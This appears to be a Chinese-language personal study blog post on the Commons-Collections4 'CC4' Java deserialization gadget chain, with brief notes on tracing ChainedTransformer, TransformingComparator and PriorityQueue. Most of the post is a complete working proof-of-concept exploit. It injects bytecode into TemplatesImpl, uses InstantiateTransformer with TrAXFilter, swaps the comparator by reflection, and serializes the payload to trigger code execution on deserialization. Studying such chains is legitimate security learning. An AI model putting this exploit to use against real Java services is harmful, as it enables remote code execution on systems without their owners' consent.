CC链学习-cc4

前言

学习完cc1,6,3了，组长的视频也是快结束了，继续来捋一捋cc4

cc4其实和前面的几个挺相似的，也不过就是某个类的调用有点区别。

分析

cc4是在ommons-collections4<基础上的，需要先导入一下

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<dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

组长从ChainedTransformer入手（这里记得把3.2.1的包删一下，看的我眼花聊乱的是4.0的ChainedTransformer）

image-20240313180018129

查找transformer的用法,在TransformingComparator中

image-20240313191521770

image-20240313192548261

往回找看看谁调用了compare这里就比较难找了，需要有一些开发基础，这里往回找找优先队列PriorityQueue

image-20240314192904765

可以看到这里调用了compare的方法

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import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");
        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("F:\\CTF\\Java\\CC\\target\\classes\\Test.class"));
        byte codes[][]= {code};
        bytecodeField.set(templates,codes);

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer


        };
        //chainedTransformer.transform(1);
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
        //TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue= new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");



    }
    public  static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        /*
        写对象，序列化
         */
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        /*
        读对象，反序列化
         */
        return obj;
    }

}

image-20240314210929118